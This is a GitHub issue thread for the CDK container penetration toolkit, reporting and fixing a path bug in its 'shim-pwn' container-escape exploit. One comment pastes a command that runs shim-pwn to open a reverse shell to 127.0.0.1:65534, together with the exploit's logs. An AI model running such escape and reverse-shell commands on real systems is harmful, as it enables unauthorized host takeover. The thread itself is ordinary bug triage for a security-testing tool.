Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

shim-pwn 1.5.3 版本存在问题 #104

Closed
CatDrinkCoffee opened this issue Sep 14, 2024 · 2 comments
Closed

shim-pwn 1.5.3 版本存在问题 #104

CatDrinkCoffee opened this issue Sep 14, 2024 · 2 comments
Assignees
@neargle
Labels
bug Something isn't working

Comments

@CatDrinkCoffee
Copy link

在新版本 1.5.3 中，利用 shim-pwn 存在以下问题，发现 merged 目录出现两次，导致无法找到目录，于是尝试使用 1.5.0版本测试是正常的，新版本 1.5.3 利用错误截图如下
image
@qsdj
Copy link

qsdj commented Nov 15, 2024 •
edited
Loading

+1 奇怪的是 想修改下自己编译下用，但是自己用main默认分支 编译的就 connect: connection refused 切到tag v1.5.3 中编译了也是connect: connection refused ，但是用releases 下载的 v1.5.3 就可以连接了但是多了个merged目录
2024/11/15 10:04:30 trying to spawn shell to 127.0.0.1:65534
2024/11/15 10:04:30 try socket: @/containerd-shim/moby/2ccb7cf005302b257c6055befa7ecd9a4807248269e61e311b83b954fc8c9217/shim.sock
2024/11/15 10:04:30 fail to connect unix socket /containerd-shim/moby/2ccb7cf005302b257c6055befa7ecd9a4807248269e61e311b83b954fc8c9217/shim.sock:
dial unix /containerd-shim/moby/2ccb7cf005302b257c6055befa7ecd9a4807248269e61e311b83b954fc8c9217/shim.sock: connect: connection refused
2024/11/15 10:04:30 exploit failed.
root@LL: ./cdk
cdk cdk_1.5.3_b cdk_linux_amd64 cdk_v1 cdk_v2
root@LL: ./cdk
cdk cdk_1.5.3_b cdk_linux_amd64 cdk_v1 cdk_v2
root@LL: ./cdk_linux_amd64 run shim-pwn reverse 127.0.0.1 65534
2024/11/15 10:04:48 trying to spawn shell to 127.0.0.1:65534
2024/11/15 10:04:48 try socket: @/containerd-shim/moby/2ccb7cf005302b257c6055befa7ecd9a4807248269e61e311b83b954fc8c9217/shim.sock
2024/11/15 10:04:48 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: runc create failed: chdir /var/lib/docker/overlay2/b87b24ac566612d2eb69ff6c59d9f660bcedb59e50e03074fe22314e73496fd8/merged/merged/cdk_yooW3D: no such file or directory
2024/11/15 10:04:48 exploit failed.

@neargle neargle self-assigned this Nov 15, 2024
@neargle neargle added the bug Something isn't working label Nov 15, 2024
neargle added a commit that referenced this issue Nov 15, 2024
@neargle
fix (exp shim-pwn): #104 merged directory appears twice in path
c4b777d
neargle added a commit that referenced this issue Nov 15, 2024
@neargle
fix (exp shim-pwn): #104 merged directory appears twice in path (#108)
4e23c85
@neargle
Copy link
Member

neargle commented Nov 15, 2024 •
edited
Loading

@qsdj @CatDrinkCoffee

感谢反馈～ 试试这个新编译的 pre release 版本：
Try this newly compiled pre-release version: https://github.com/cdk-team/CDK/releases/tag/v1.5.4

@neargle neargle closed this as completed Nov 17, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@neargle neargle

Labels
bug Something isn't working
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@neargle @qsdj @CatDrinkCoffee